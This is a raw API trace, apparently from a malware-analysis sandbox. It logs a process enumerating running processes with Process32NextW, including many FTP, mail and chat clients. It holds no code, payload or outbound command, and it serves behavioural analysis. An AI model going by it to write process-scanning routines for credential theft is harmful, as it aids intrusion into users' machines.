	[0058.564] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0058.564] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0058.564] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.565] lstrlenW (lpString="svchost.exe") returned 11
	[0058.565] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0058.565] lstrlenW (lpString="dwm.exe") returned 7
	[0058.565] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.566] lstrlenW (lpString="svchost.exe") returned 11
	[0058.566] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.566] lstrlenW (lpString="svchost.exe") returned 11
	[0058.566] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.567] lstrlenW (lpString="svchost.exe") returned 11
	[0058.567] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.567] lstrlenW (lpString="svchost.exe") returned 11
	[0058.567] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.568] lstrlenW (lpString="svchost.exe") returned 11
	[0058.568] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.568] lstrlenW (lpString="svchost.exe") returned 11
	[0058.568] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.569] lstrlenW (lpString="svchost.exe") returned 11
	[0058.569] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.569] lstrlenW (lpString="svchost.exe") returned 11
	[0058.570] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.570] lstrlenW (lpString="svchost.exe") returned 11
	[0058.570] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.571] lstrlenW (lpString="svchost.exe") returned 11
	[0058.571] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0058.571] lstrlenW (lpString="spoolsv.exe") returned 11
	[0058.571] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.572] lstrlenW (lpString="svchost.exe") returned 11
	[0058.572] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0058.572] lstrlenW (lpString="audiodg.exe") returned 11
	[0058.572] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0058.573] lstrlenW (lpString="sihost.exe") returned 10
	[0058.573] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.573] lstrlenW (lpString="svchost.exe") returned 11
	[0058.573] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0058.574] lstrlenW (lpString="taskhostw.exe") returned 13
	[0058.574] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0058.574] lstrlenW (lpString="explorer.exe") returned 12
	[0058.574] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0058.575] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0058.575] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0058.575] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0058.575] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0058.576] lstrlenW (lpString="Memory Compression") returned 18
	[0058.576] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0058.577] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0058.577] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0058.577] lstrlenW (lpString="SearchUI.exe") returned 12
	[0058.577] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0058.578] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0058.578] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0058.578] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0058.578] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1
	[0058.579] lstrlenW (lpString="pending.exe") returned 11
	[0058.579] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed-bug-workers.exe")) returned 1
	[0058.579] lstrlenW (lpString="impressed-bug-workers.exe") returned 25
	[0058.579] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sw_sorts.exe")) returned 1
	[0058.580] lstrlenW (lpString="sw_sorts.exe") returned 12
	[0058.580] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trademarks-clara-cancer.exe")) returned 1
	[0058.580] lstrlenW (lpString="trademarks-clara-cancer.exe") returned 27
	[0058.580] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="search.exe")) returned 1
	[0058.581] lstrlenW (lpString="search.exe") returned 10
	[0058.581] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="compatibility.exe")) returned 1
	[0058.582] lstrlenW (lpString="compatibility.exe") returned 17
	[0058.582] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freeze negotiations.exe")) returned 1
	[0058.582] lstrlenW (lpString="freeze negotiations.exe") returned 23
	[0058.582] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ellen rebound.exe")) returned 1
	[0058.583] lstrlenW (lpString="ellen rebound.exe") returned 17
	[0058.583] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="try.exe")) returned 1
	[0058.583] lstrlenW (lpString="try.exe") returned 7
	[0058.583] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="consultancy.exe")) returned 1
	[0058.584] lstrlenW (lpString="consultancy.exe") returned 15
	[0058.584] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1
	[0058.584] lstrlenW (lpString="especially.exe") returned 14
	[0058.584] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="collectibles-register-voluntary.exe")) returned 1
	[0058.585] lstrlenW (lpString="collectibles-register-voluntary.exe") returned 35
	[0058.585] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines-cope-finances.exe")) returned 1
	[0058.585] lstrlenW (lpString="headlines-cope-finances.exe") returned 27
	[0058.585] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="modules.exe")) returned 1
	[0058.586] lstrlenW (lpString="modules.exe") returned 11
	[0058.586] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious.exe")) returned 1
	[0058.628] lstrlenW (lpString="jane_conscious.exe") returned 18
	[0058.628] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="namespace-bankruptcy.exe")) returned 1
	[0058.628] lstrlenW (lpString="namespace-bankruptcy.exe") returned 24
	[0058.628] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0058.629] lstrlenW (lpString="3dftp.exe") returned 9
	[0058.629] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0058.629] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0058.629] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0058.630] lstrlenW (lpString="alftp.exe") returned 9
	[0058.630] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0058.630] lstrlenW (lpString="barca.exe") returned 9
	[0058.630] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0058.632] lstrlenW (lpString="bitkinex.exe") returned 12
	[0058.632] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0058.633] lstrlenW (lpString="coreftp.exe") returned 11
	[0058.633] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0058.634] lstrlenW (lpString="far.exe") returned 7
	[0058.634] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0058.634] lstrlenW (lpString="filezilla.exe") returned 13
	[0058.635] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0058.635] lstrlenW (lpString="flashfxp.exe") returned 12
	[0058.635] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0058.636] lstrlenW (lpString="fling.exe") returned 9
	[0058.636] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0058.637] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0058.637] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0058.638] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0058.638] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0058.639] lstrlenW (lpString="icq.exe") returned 7
	[0058.639] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0058.640] lstrlenW (lpString="leechftp.exe") returned 12
	[0058.640] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0058.640] lstrlenW (lpString="ncftp.exe") returned 9
	[0058.640] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0058.641] lstrlenW (lpString="notepad.exe") returned 11
	[0058.641] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0058.679] lstrlenW (lpString="operamail.exe") returned 13
	[0058.679] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0058.680] lstrlenW (lpString="pidgin.exe") returned 10
	[0058.680] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0058.680] lstrlenW (lpString="scriptftp.exe") returned 13
	[0058.680] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0058.681] lstrlenW (lpString="skype.exe") returned 9
	[0058.681] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0058.682] lstrlenW (lpString="smartftp.exe") returned 12
	[0058.682] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0058.683] lstrlenW (lpString="thunderbird.exe") returned 15
	[0058.683] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0058.683] lstrlenW (lpString="totalcmd.exe") returned 12
	[0058.683] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0058.684] lstrlenW (lpString="trillian.exe") returned 12
	[0058.684] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0058.685] lstrlenW (lpString="webdrive.exe") returned 12
	[0058.685] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0058.686] lstrlenW (lpString="whatsapp.exe") returned 12
	[0058.686] Process32NextW (in: hSnapshot=0x288, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0058.687] lstrlenW (lpString="winscp.exe") returned 10
